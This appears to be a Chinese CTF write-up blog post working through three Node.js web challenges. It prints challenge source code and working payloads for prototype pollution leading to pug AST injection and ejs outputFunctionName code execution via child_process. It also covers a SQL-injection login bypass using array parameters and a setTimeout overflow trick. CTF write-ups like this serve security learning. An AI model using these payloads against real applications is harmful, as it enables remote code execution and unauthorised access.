几道和node有关的ctf题目
湖湘杯 2021 final vote
const path = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
const { hero } = unflatten(req.body); //触发原型链污染
console.log(hero)
if (hero.name.includes('奇亚纳') || hero.name.includes('锐雯') || hero.name.includes('卡蜜尔') || hero.name.includes('菲奥娜')) {
return res.json({
'response': pug.compile('You #{user}, thank for your vote!')({ user:'Guest' }) //触发AST注入
});
} else {
return res.json({
'response': 'Please provide us with correct name.'
});
}
});
module.exports = router;
谷歌搜ast injection第一个就是exp。unflatten触发原型链污染,pug触发AST注入。
{
"hero.name":"锐雯",
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`cat /flag>/app/static/flag`)"
}
}
好像不太难,后面想跟着文章跟一下pug的AST,发现太菜了完全看不懂qwq
GKCTF 2020 ez三剑客-easynode
首先要把delay弄小点,绕一下这个东西
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
随便试了试,delay设成非常大的数就okk
后面调试时候发现是因为
(node:34800) TimeoutOverflowWarning: 1e+39 does not fit into a 32-bit signed integer.
Timeout duration was set to 1.
也就是说timeout第二个参数大于32位整数就会自动设成1ms
然后就是危险函数safer(?)Eval
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
console.log(e)
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
谷歌第二条就是poc
https://snyk.io/test/npm/safer-eval/1.3.6
用curl检验被抛出异常,以为poc有问题,本地debug一下才发现是题目不出网。。而且由于直接把response发回来,所以是有回显的。浪费时间了属于
最后上网搜了一下,前面绕delay也可以把访问uri改成/eval/
GKCTF 2021 easynode
首先得先绕登录
let safeQuery = async (username,password)=>{
const waf = (str)=>{
// console.log(str);
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}
username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
// console.log(sql);
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}
str slice看着就不对,正常应该直接str[i]='*'完事。
众所周知get/post是可以传数组的。构造一个username和password
username[]=' or 1 #&username[]=(&password=foo
这样username就变成
username=["' or 1 #","("]
由于括号被替换发生了字符串相加,username变成
username=' or 1 #\*
这样就逃出了引号,完成注入。
然后在test.js发现exp(还有这种好事?)
var jsExtend = require("js-extend")
var obj = {"123":"saddas"}
var malicious_payload = '{"__proto__":{"outputFunctionName":"x;console.log(1);process.mainModule.require(\'child_process\').exec(\'calc\');x","name":"123"}}';
console.log(malicious_payload);
console.log("Before: " + {}.outputFunctionName);
jsExtend.extend(obj, JSON.parse(malicious_payload));
console.log("After : " + {}.outputFunctionName);
app.get('/test',async (req,res)=>{
username="__proto__";
board ='{"__proto__":{"outputFunctionName":"x;console.log(1);process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'
extend({},JSON.parse(board));
console.log({}.outputFunctionName);
console.log(JSON.stringify(board));
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
})
依葫芦画瓢(原理以后填坑吧),触发条件有俩:
一是把字符串x'{"__proto__":{"outputFunctionName":"x;console.log(1);process.mainModule.require(\'child_process\').exec(\'calc\');x"}}'
传到extend({},JSON.parse(x))中的x里,二是让x作为ejs.renderFile的第二个参数。
第二个条件在/admin下
app.get("/admin",async (req,res,next) => {
const token = req.cookies.token
let result = verifyToken(token);
if (result !='err'){
username = result
var sql = `select board from board where username = '${username}'`;
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{board,username})
res.writeHead(200, {"Content-Type": "text/html"});
res.end(html)
}
else{
res.json({'msg':'stop!!!'});
}
});
看了看,要想办法让board可控
第一个条件在/adminDiv
app.post("/adminDIV",async(req,res,next) =>{
const token = req.cookies.token
var data = JSON.parse(req.body.data)
let result = verifyToken(token);
if(result !='err'){
username = result;
var sql ='select board from board';
var query = JSON.parse(JSON.stringify(await select(sql).then(close())));
board = JSON.parse(query[0].board);
console.log(board);
for(var key in data){
var addDIV = `{"${username}":{"${key}":"${data[key]}"}}`;
extend(board,JSON.parse(addDIV));
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
select(sql).then(close()).catch( (err)=>{console.log(err)});
res.json({"msg":'addDiv successful!!!'});
}
else{
res.end('nonono');
}
});
发现data是可控的,但username不太对。注册一个名为__proto__
的用户名即可
在/addAdmin下。拿好sql注入得到的token去注册proto,然后再用proto登录拿另一个token。然后去adminDiv发送payload
/POST data={"outputFunctionName"%3a"x%3bglobal.process.mainModule.require('child_process').exec('sleep+5s')%3bx"}
再用proto访问/admin即可RCE
本地通了,nss上的环境若无其事,救命qwq
总结?
好像没怎么手动找原型链,都是现成的exp qwq(来自某脚本小子的哭泣)
下次一定